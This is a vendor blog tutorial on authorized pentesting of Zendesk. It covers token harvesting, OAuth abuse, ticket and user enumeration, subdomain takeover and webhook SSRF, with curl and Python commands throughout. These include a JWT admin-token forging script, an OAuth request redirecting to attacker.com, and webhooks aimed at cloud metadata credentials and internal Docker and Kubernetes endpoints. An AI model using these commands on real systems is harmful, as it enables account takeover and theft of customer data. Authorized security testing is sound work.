Enterprise Security Testing

Zendesk Security Testing: API Token Exposure, Ticket Data Access, and Subdomain Takeover

July 5, 2026 By Ironimo Security Research ~2600 words
Zendesk sits at the intersection of customer trust and sensitive data — support tickets routinely contain PII, account credentials, billing information, and internal escalations. This guide covers authorized penetration testing of Zendesk deployments: from subdomain reconnaissance and API token harvesting to ticket data enumeration, OAuth misconfiguration, subdomain takeover, widget injection, and trigger-based SSRF. All techniques require explicit written authorization from the organization that owns the target Zendesk instance.
Table of Contents
  1. Reconnaissance: Subdomain and Version Discovery
  2. Authentication Testing: API Tokens and OAuth
  3. Zendesk API Abuse: Ticket and User Enumeration
  4. Subdomain Takeover on Zendesk Help Centers
  5. Widget Injection via Web Widget Configuration
  6. Zendesk App Marketplace Abuse
  7. Trigger and Webhook SSRF
  8. Sensitive Data in Tickets and Attachments
  9. CVE Reference and Known Vulnerabilities
  10. Vulnerability Summary Table
  11. Detection and Hardening Guidance

1. Reconnaissance: Subdomain and Version Discovery

Every Zendesk customer receives a primary subdomain at {company}.zendesk.com. Before touching any authenticated endpoint, enumerate the attack surface: primary subdomain, Help Center subdomains, and any custom domains pointing at Zendesk infrastructure.

Primary Subdomain Discovery

Start with passive OSINT — certificate transparency logs, Shodan, and Google dorking frequently surface undisclosed Zendesk instances before active scanning begins.

# Certificate transparency search for Zendesk subdomains
curl -s "https://crt.sh/?q=%25.zendesk.com&output=json" | \
  jq -r '.[].name_value' | sort -u | grep target

# Google dork for Zendesk sign-in pages
# site:zendesk.com "targetcompany" OR inurl:targetcompany.zendesk.com

# Enumerate via subfinder (passive)
subfinder -d zendesk.com -silent | grep "targetcompany"

# Active DNS brute-force against known Zendesk subdomains
ffuf -w /usr/share/wordlists/subdomains-top1million-5000.txt \
  -u "https://FUZZ.zendesk.com" \
  -mc 200,301,302,401,403 \
  -o zendesk-subdomains.json

Help Center Custom Subdomains

Organizations frequently configure a custom subdomain — help.company.com or support.company.com — pointing to their Zendesk Help Center via CNAME. These are often forgotten after migrations and become takeover candidates (see Section 4).

# Resolve CNAME chain for suspected Help Center domain
dig help.targetcompany.com CNAME +short
# Expected output: targetcompany.zendesk.com.

# Check if custom domain is still registered in Zendesk
curl -sI "https://help.targetcompany.com" | grep -i "x-zendesk"

Version and Technology Fingerprinting via Response Headers

Zendesk responses leak version and instance metadata through HTTP headers. These reveal the Zendesk plan tier, instance region, and API version accepted.

# Fingerprint via response headers
curl -sI "https://targetcompany.zendesk.com" | grep -iE \
  "x-zendesk|x-powered-by|x-request-id|server|x-frame-options"

# Sample headers revealing Zendesk metadata:
# X-Zendesk-Origin-Server: zd-prod-app1234.use1.zdsys.com
# X-Runtime: 0.142
# X-Zendesk-Request-Id: abc123def456
# Zendesk-Rate-Limit: 700

# Probe API version acceptance
curl -sI "https://targetcompany.zendesk.com/api/v2/tickets.json" \
  -H "Accept: application/json" | head -20
Note: Unauthenticated probes to /api/v2/ endpoints will return HTTP 401 on properly configured instances. A 200 response without authentication is an immediate critical finding.

2. Authentication Testing: API Tokens and OAuth

API Token Exposure in Repositories and Environment Variables

Zendesk API tokens follow a predictable format and are frequently committed to source control or left in CI/CD pipeline environment variables. The standard token format is a 40-character alphanumeric string used in HTTP Basic Auth with the pattern user@company.com/token:{token}.

# Search GitHub for exposed Zendesk tokens
# (use GitHub Advanced Search or tools like trufflehog)
trufflehog git https://github.com/targetcompany/repo \
  --only-verified

# Common patterns to search for in code/configs:
# ZENDESK_TOKEN=
# zendesk_api_token:
# Authorization: Basic (base64 of email/token:TOKEN)

# Validate a found token
curl -X GET "https://targetcompany.zendesk.com/api/v2/users/me.json" \
  -u "agent@targetcompany.com/token:FOUND_TOKEN_HERE" \
  -H "Content-Type: application/json"

# Alternative Bearer token format (OAuth access tokens)
curl -X GET "https://targetcompany.zendesk.com/api/v2/users/me.json" \
  -H "Authorization: Bearer FOUND_OAUTH_TOKEN_HERE" \
  -H "Content-Type: application/json"

OAuth2 App Secret Exposure

Zendesk OAuth2 applications configured in the Zendesk admin panel have a client_id and client_secret. If the client secret is exposed, an attacker can request access tokens on behalf of any user who has previously authorized the app.

# Probe the OAuth token endpoint with exposed client credentials
curl -X POST "https://targetcompany.zendesk.com/oauth/tokens" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=authorization_code" \
  -d "code=AUTHORIZATION_CODE" \
  -d "client_id=EXPOSED_CLIENT_ID" \
  -d "client_secret=EXPOSED_CLIENT_SECRET" \
  -d "redirect_uri=https://attacker.com/callback" \
  -d "scope=read write"

SSO Bypass via Subdomain Confusion

Organizations using JWT-based SSO for Zendesk sign sign-on tokens with a shared secret. If the same signing secret is used across multiple Zendesk instances (e.g., a main instance and a sandbox), or if the JWT secret leaks from SSO configuration, an attacker can forge authentication tokens.

# Zendesk JWT SSO token structure (HS256)
# Payload: { "iat": TIMESTAMP, "jti": UUID, "email": "agent@company.com",
#            "name": "Agent Name", "external_id": "12345" }

# Forge a JWT with a known/guessed secret
python3 -c "
import jwt, time, uuid
payload = {
  'iat': int(time.time()),
  'jti': str(uuid.uuid4()),
  'email': 'admin@targetcompany.com',
  'name': 'Admin',
  'external_id': '1'
}
token = jwt.encode(payload, 'LEAKED_SECRET', algorithm='HS256')
print(token)
"

# The forged token is submitted to:
# https://targetcompany.zendesk.com/access/jwt?jwt=FORGED_TOKEN
Critical Finding Pattern: A leaked Zendesk JWT SSO secret is a full account takeover primitive — it allows minting admin-level tokens with zero interaction from any legitimate user.

3. Zendesk API Abuse: Ticket and User Enumeration

With a valid API token — even a low-privilege agent token — the Zendesk REST API exposes broad read access across the entire support dataset. Test the scope of each discovered token systematically.

Ticket Enumeration Including PII

# Enumerate all tickets (paginated, up to 100 per page)
curl -X GET "https://targetcompany.zendesk.com/api/v2/tickets.json?per_page=100" \
  -u "agent@targetcompany.com/token:TOKEN" \
  -H "Accept: application/json"

# Fetch a specific ticket with full comment history
curl -X GET "https://targetcompany.zendesk.com/api/v2/tickets/12345.json" \
  -u "agent@targetcompany.com/token:TOKEN" \
  -H "Accept: application/json"

# Fetch all comments on a ticket (includes internal notes)
curl -X GET "https://targetcompany.zendesk.com/api/v2/tickets/12345/comments.json" \
  -u "agent@targetcompany.com/token:TOKEN" \
  -H "Accept: application/json"

# Search tickets for sensitive keywords
curl -X GET "https://targetcompany.zendesk.com/api/v2/search.json?query=password+type:ticket" \
  -u "agent@targetcompany.com/token:TOKEN" \
  -H "Accept: application/json"

# Retrieve all tickets updated in the last 30 days (incremental export)
curl -X GET "https://targetcompany.zendesk.com/api/v2/incremental/tickets.json?start_time=UNIX_TIMESTAMP" \
  -u "agent@targetcompany.com/token:TOKEN"

User Enumeration

# List all users in the instance
curl -X GET "https://targetcompany.zendesk.com/api/v2/users.json?per_page=100" \
  -u "agent@targetcompany.com/token:TOKEN" \
  -H "Accept: application/json"

# Get a specific user by ID
curl -X GET "https://targetcompany.zendesk.com/api/v2/users/67890.json" \
  -u "agent@targetcompany.com/token:TOKEN"

# Search users by email domain (internal directory exposure)
curl -X GET "https://targetcompany.zendesk.com/api/v2/users/search.json?query=role:agent" \
  -u "agent@targetcompany.com/token:TOKEN"

Organization and Attachment Enumeration

# Enumerate all organizations
curl -X GET "https://targetcompany.zendesk.com/api/v2/organizations.json" \
  -u "agent@targetcompany.com/token:TOKEN"

# Download attachments — test for missing auth on attachment URLs
# Zendesk attachment URLs follow the pattern:
# https://targetcompany.zendesk.com/attachments/token/{TOKEN}/original/{filename}
# or via CDN: https://targetcompany-attachments.s3.amazonaws.com/...

# Retrieve attachment metadata from a ticket comment
curl -X GET "https://targetcompany.zendesk.com/api/v2/tickets/12345/comments.json" \
  -u "agent@targetcompany.com/token:TOKEN" | \
  jq '.comments[].attachments[] | {filename, content_url}'

# Attempt to fetch attachment URL without authentication (misconfiguration test)
curl -L "https://targetcompany.zendesk.com/attachments/token/ATTACHMENT_TOKEN/original/file.pdf"

Automate Zendesk API Security Checks

Ironimo's automated scanner detects exposed Zendesk API tokens, misconfigured OAuth apps, and unauthenticated API endpoints — integrated into your pentest workflow.

Start free scan

4. Subdomain Takeover on Zendesk Help Centers

When an organization migrates away from Zendesk or renames their Help Center, DNS CNAME records pointing to {company}.zendesk.com frequently remain live. If the Zendesk instance has been deleted or the custom domain mapping removed, the subdomain becomes claimable — a classic dangling CNAME scenario.

# Step 1: Identify dangling CNAME records
dig help.targetcompany.com CNAME +short
# Returns: targetcompany.zendesk.com. (still resolves)

# Step 2: Check if the Zendesk instance still accepts the custom domain
curl -sI "https://help.targetcompany.com" -H "Host: help.targetcompany.com"
# Look for: HTTP 404 with "Zendesk" in response body, OR
# "This account does not exist" message

# Step 3: Confirm takeover eligibility
curl -s "https://help.targetcompany.com" | grep -i "zendesk\|doesn.*exist\|no longer"

# Step 4: Register a new free Zendesk trial
# Step 5: In the new account, add the custom domain "help.targetcompany.com"
# Step 6: Verify — all traffic to help.targetcompany.com now routes to attacker's Zendesk

# Test for phishing potential — attacker can serve:
# - A fake login page collecting credentials
# - Malicious password reset flows
# - Social engineering content with the victim's brand
Subdomain Takeover Impact: Attackers can host fully branded fake support portals, steal session cookies for the parent domain if cookie scope is misconfigured (domain=.company.com), and send phishing emails appearing to originate from a legitimate subdomain.

5. Widget Injection via Web Widget Configuration

The Zendesk Web Widget is a JavaScript snippet embedded in customer-facing websites. If an attacker gains write access to the Zendesk admin panel (via compromised admin credentials), they can modify the widget configuration to inject malicious JavaScript that executes in the context of every page where the widget is loaded.

# The Zendesk Web Widget loads from:
# https://static.zdassets.com/ekr/snippet.js?key=WIDGET_KEY

# Administrators configure the widget via the Zendesk API:
curl -X PUT "https://targetcompany.zendesk.com/api/v2/account/settings.json" \
  -u "admin@targetcompany.com/token:ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "settings": {
      "active_features": {
        "customer_satisfaction_surveys": true
      }
    }
  }'

# Widget configuration can include custom CSS and JavaScript
# via the "Web Widget (Classic)" advanced customization:
# Admin > Channels > Classic Web Widget > Advanced Settings

# Test: does the widget key expose customer data without auth?
curl -s "https://ekr.zdassets.com/compose/component/help_widget?locale=en-us&key=WIDGET_KEY" | \
  grep -i "user\|email\|token"

Widget Key Enumeration

Widget keys embedded in public-facing JavaScript are not secrets — but they expose the Zendesk subdomain mapping, enable ticket submission on behalf of arbitrary users, and can be used to probe the Help Center search index for internal articles.

# Extract widget key from target website JavaScript
curl -s "https://www.targetcompany.com" | grep -oP 'key=[a-f0-9-]{36}'

# Use extracted key to probe the Help Center search (may expose internal articles)
curl -s "https://targetcompany.zendesk.com/api/v2/help_center/articles/search.json?query=internal+only" \
  -H "Accept: application/json"

6. Zendesk App Marketplace Abuse

Zendesk's marketplace allows third-party apps to be installed into an instance with broad permissions — read/write access to tickets, users, and conversations. During a pentest, audit installed apps for overprivileged scopes and untrusted publishers.

# List installed apps via the API
curl -X GET "https://targetcompany.zendesk.com/api/v2/apps/installations.json" \
  -u "admin@targetcompany.com/token:ADMIN_TOKEN" \
  -H "Accept: application/json" | \
  jq '.installations[] | {id, app_id, product, settings}'

# Check app permissions/scopes for each installation
curl -X GET "https://targetcompany.zendesk.com/api/v2/apps/INSTALLATION_ID.json" \
  -u "admin@targetcompany.com/token:ADMIN_TOKEN" | \
  jq '.requirements'

# Look for apps with:
# - "read:users" + "write:tickets" combined (pivot from ticket manipulation to data export)
# - Webhook callbacks to external URLs
# - Stored API keys in app settings (visible via installations API)
Pentest Finding: Third-party Zendesk apps with HTTP callback URLs configured to external endpoints are SSRF candidates if the callback targets are user-controllable. Check each app's settings for configurable webhook destinations.

7. Trigger and Webhook SSRF

Zendesk Triggers and Automations can fire HTTP webhooks to external URLs when ticket conditions are met. If an attacker can create or modify triggers (via a compromised agent/admin account), they can configure webhooks pointing to internal network addresses — turning Zendesk's servers into an SSRF relay.

# Create a webhook (Zendesk Webhooks API, available to admins)
curl -X POST "https://targetcompany.zendesk.com/api/v2/webhooks" \
  -u "admin@targetcompany.com/token:ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "webhook": {
      "name": "SSRF Test Webhook",
      "status": "active",
      "endpoint": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
      "http_method": "GET",
      "request_format": "json",
      "subscriptions": ["conditional_ticket_events"]
    }
  }'

# Alternative: target internal services
# endpoint: "http://10.0.0.1:8080/admin"
# endpoint: "http://localhost:2375/containers/json"  (Docker daemon)
# endpoint: "http://kubernetes.default.svc/api/v1/secrets"

# Test the webhook manually after creation
curl -X POST "https://targetcompany.zendesk.com/api/v2/webhooks/WEBHOOK_ID/test" \
  -u "admin@targetcompany.com/token:ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"request": {}}'

Zendesk runs on AWS infrastructure. The AWS IMDSv1 endpoint at 169.254.169.254 is the primary SSRF target. Successful exploitation could leak IAM credentials for the Zendesk application role — though Zendesk's infrastructure security controls typically block this, it remains a valid test case for demonstrating SSRF viability in your pentest report.

8. Sensitive Data in Tickets and Attachments

Support ticket contents are a goldmine for sensitive data. Customers routinely include credentials, private keys, session tokens, and PII in support requests. Test whether your organization's Zendesk instance exposes this data through the API and whether appropriate data retention policies are in place.

# Search for sensitive patterns across all tickets
# (requires agent token with ticket read access)

# Search for credentials in tickets
curl -X GET "https://targetcompany.zendesk.com/api/v2/search.json?query=password+type:ticket&sort_by=created_at&sort_order=desc" \
  -u "agent@targetcompany.com/token:TOKEN"

# Search for API keys mentioned in tickets
curl -X GET "https://targetcompany.zendesk.com/api/v2/search.json?query=api+key+type:ticket" \
  -u "agent@targetcompany.com/token:TOKEN"

# Retrieve the full incremental ticket export (all fields, all time)
# This endpoint exports ALL ticket data and is accessible to any agent
curl -X GET "https://targetcompany.zendesk.com/api/v2/incremental/tickets/cursor.json?start_time=0" \
  -u "agent@targetcompany.com/token:TOKEN"

# Test attachment accessibility without authentication
# Zendesk CDN attachment URLs sometimes lack authentication requirements
curl -I "https://targetcompany.zendesk.com/attachments/token/PUBLIC_TOKEN/original/sensitive-doc.pdf"
# HTTP 200 without auth headers = unauthenticated attachment access finding

9. CVE Reference and Known Vulnerabilities

Zendesk's managed SaaS model means most CVEs are patched automatically. However, the following vulnerabilities are historically relevant and may surface in configurations or integrations:

# Run nuclei templates for Zendesk-specific checks
nuclei -u https://targetcompany.zendesk.com \
  -tags zendesk \
  -severity medium,high,critical \
  -o zendesk-nuclei-results.txt

# Specific templates to run:
# - zendesk-subdomain-takeover
# - zendesk-api-token-exposure
# - zendesk-unauthenticated-api

10. Vulnerability Summary Table

Vulnerability Severity Endpoint / Vector Impact
JWT SSO Secret Exposure Critical Repository / CI env vars Forge admin tokens; full account takeover
Admin API Token Exposure Critical Source control, .env files Full instance read/write; ticket/user data exfil
OAuth Client Secret Exposure High Config files, mobile apps Request access tokens for any authorized user
Subdomain Takeover (Help Center) High Dangling CNAME DNS records Phishing, credential harvest, cookie theft
Trigger/Webhook SSRF High /api/v2/webhooks Internal network reachability, metadata service access
Ticket Data Enumeration High GET /api/v2/tickets PII exposure, credential leakage in ticket history
User/Org Enumeration Medium GET /api/v2/users Internal directory disclosure, targeted phishing
Widget Injection Medium Admin › Web Widget config Stored XSS in customer-facing pages
Unauthenticated Attachment Access Medium CDN attachment URLs Document exfiltration without valid session
Overprivileged Marketplace Apps Medium Zendesk App Marketplace Third-party data exfil, lateral movement
Agent Token — Low Privilege Scope Creep Low GET /api/v2/search Broader read access than role warrants

11. Detection and Hardening Guidance

API Token Management

# Monitor Zendesk audit logs for anomalous API usage
curl -X GET "https://targetcompany.zendesk.com/api/v2/audit_logs.json?filter[source_type]=api" \
  -u "admin@targetcompany.com/token:ADMIN_TOKEN" | \
  jq '.audit_logs[] | select(.action == "read" and .source_type == "api") | {actor_id, created_at, ip_address}'

SSO and OAuth Hardening

Subdomain Management

Data Minimization and Access Control

Webhook and Trigger Hardening

Remediation Priority: Start with credential exposure (API token and JWT secret rotation), then address any dangling subdomain CNAMEs, then audit agent role permissions and OAuth app scopes. All three categories are high-impact and typically remediable within a single sprint.

Conclusion

Zendesk's broad API surface, the ubiquity of API tokens in codebases, and the architectural pattern of Help Center custom subdomains make it a consistent finding in enterprise penetration tests. The attack patterns documented here — from API token harvesting and ticket PII enumeration to subdomain takeover and trigger-based SSRF — are well within scope for authorized security assessments of any organization that processes customer support data through Zendesk.

The recurring theme across all Zendesk security findings is credential governance: tokens that were issued for a specific integration and never rotated, secrets that drifted into source control, and OAuth apps granted broader scopes than their use case requires. A targeted secrets scanning pass over your repositories combined with a DNS audit for dangling Zendesk CNAMEs will eliminate the majority of critical and high findings before a formal pentest begins.

Automate Your Zendesk Security Testing

Ironimo continuously scans for API token exposure, OAuth misconfigurations, subdomain takeover candidates, and unauthenticated API endpoints across your entire web application attack surface — including Zendesk integrations.

Start free scan